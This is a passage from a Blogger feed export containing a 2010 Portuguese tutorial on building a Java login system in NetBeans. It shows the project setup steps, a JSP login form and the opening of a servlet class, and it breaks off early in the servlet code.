Nos próximos projetinhos, vou deixar a coisa mais organizada.&lt;br /&gt;
&lt;br /&gt;
Segue o link de download. &lt;a href=&quot;https://docs.google.com/leaf?id=0BwMc3DySb_ezNGM2NjhhNTAtNDI2ZS00Mjg2LWI5YmUtZTE1ZDdiMDc5Y2My&amp;amp;hl=pt_BR&quot;&gt;Aqui !&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3548270141307509942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3548270141307509942'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/05/manipulacao-de-registro-em-netbeans.html' title='Manipulação de registro em NetBeans'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-1245049121748303861</id><published>2010-04-26T15:06:00.001-03:00</published><updated>2010-04-26T15:09:03.808-03:00</updated><title type='text'>Criando um sistema de login em Java.</title><content type='html'>&lt;div style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Login&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Pessoal, nesse exemplo vou demonstrar como criar um sistema de &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt; em Java, usando &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;servlet&lt;/span&gt;, &lt;span class=&quot;misspell&quot; suggestions=&quot;JS,JSD,PSP&quot;&gt;jsp&lt;/span&gt;, e html. A IDE usada será o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Netbeans&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Bom a primeira coisa a ser feita é criar um &lt;span class=&quot;misspell&quot; suggestions=&quot;projecto,prometo&quot;&gt;projeto&lt;/span&gt; web pelo &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;NetBeans&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Para isso, siga os seguintes passos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Menu&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;File → &lt;span class=&quot;misspell&quot; suggestions=&quot;Nem&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Projecta,Projecte,Projecto,Projectá&quot;&gt;Project&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Agora clique em Java Web, depois aplicação WEB.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;a href=&quot;https://docs.google.com/File?id=dfbcppxn_151d5ghtxs5_b&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://docs.google.com/File?id=dfbcppxn_151d5ghtxs5_b&quot; style=&quot;border: medium none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Agora clique em &lt;span class=&quot;misspell&quot; suggestions=&quot;Nexo&quot;&gt;Next&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Coloque um nome para sua aplicação WEB, e clique em &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;finish&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/File?id=dfbcppxn_152ftnjd8dk_b&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;209&quot; src=&quot;https://docs.google.com/File?id=dfbcppxn_152ftnjd8dk_b&quot; style=&quot;border: medium none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Novamente clique em &lt;span class=&quot;misspell&quot; suggestions=&quot;Nexo&quot;&gt;Next&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; height=&quot;156&quot; src=&quot;https://docs.google.com/File?id=dfbcppxn_153ck2gfpgm_b&quot; style=&quot;border: medium none;&quot; width=&quot;320&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Feito isso, agora vamos criar o formulário para que o usuário entre com o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Login&lt;/span&gt; e a senha.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Formário HTML&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;%@page contentType=&quot;text/html&quot; pageEncoding=&quot;UTF-8&quot;%&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;head&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt; Sistema de &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt; em &lt;span class=&quot;misspell&quot; suggestions=&quot;JS,JSD,PSP&quot;&gt;JSP&lt;/span&gt; &amp;lt;/title&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/head&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Digite o nome do usuário e senha &amp;lt;/br&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;form name=&quot;frmlogin&quot; method=&quot;post&quot; action=&quot;login&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;text&quot; id =&quot;user&quot; name=&quot;user&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;text&quot; id=&quot;pwd&quot; name=&quot;pwd&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;submit&quot; id=&quot;btSalvar&quot; value=&quot;Entrar&quot; /&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/form&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;O código acima deve estar o arquivo &lt;span class=&quot;misspell&quot; suggestions=&quot;índex,indexa,indexe,indexo,indexá&quot;&gt;index&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;JS,JSD,PSP&quot;&gt;jsp&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Não vou explicar o HTML dessa página então se você tem alguma duvida entre em &lt;span class=&quot;misspell&quot; suggestions=&quot;constato,contacto,contanto,contrato,contado&quot;&gt;contato&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Bom isso feito agora vamos criar o o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;servlet&lt;/span&gt;, para isso, clique com o botão direito em cima do &lt;span class=&quot;misspell&quot; suggestions=&quot;projecto,prometo&quot;&gt;projeto&lt;/span&gt;, vá até&amp;nbsp; “&lt;span class=&quot;misspell&quot; suggestions=&quot;Nem&quot;&gt;New&lt;/span&gt;” agora escolha&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;serve,servem,serves,servil&quot;&gt;servel&lt;/span&gt;, ou Java &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Servlet&lt;/span&gt;, coloque o nome “&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;”e acabe de criar o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;servlet&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;O Código &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;servlet&lt;/span&gt; desse ser esse.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;&amp;nbsp;Servlet&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.io.IOException;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.io.PrintWriter;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.sql.DriverManager;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.sql.ResultSet;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.sql.SQLException;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.sql.Statement;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.util.logging.Level;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; java.util.logging.Logger;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; javax.servlet.ServletException;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; javax.servlet.annotation.WebServlet;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; javax.servlet.http.HttpServlet;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; javax.servlet.http.HttpServletRequest;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;importa,importe,importo,importá,impor&quot;&gt;import&lt;/span&gt; javax.servlet.http.HttpServletResponse;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; @&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;WebServlet&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;mame,nane,na me,na-me,ame&quot;&gt;name&lt;/span&gt;=&quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;&quot;, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;urlPatterns&lt;/span&gt;=&quot;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;&quot;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;publica,publico,publicá&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;classe&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;HttpServlet&lt;/span&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; java.sql.Connection &lt;span class=&quot;misspell&quot; suggestions=&quot;CNE,CNN&quot;&gt;cnx&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;doPost&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;HttpServletRequest&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;requesta,requeste,requesto,requestá&quot;&gt;request&lt;/span&gt;, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;HttpServletResponse&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;responde&quot;&gt;response&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ServletException&lt;/span&gt;, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;IOException&lt;/span&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // &lt;span class=&quot;misspell&quot; suggestions=&quot;responde&quot;&gt;response&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;setContentType&lt;/span&gt;(&quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;texto&quot;&gt;text&lt;/span&gt;/html;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;charset&lt;/span&gt;=&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;UTF&lt;/span&gt;-8&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
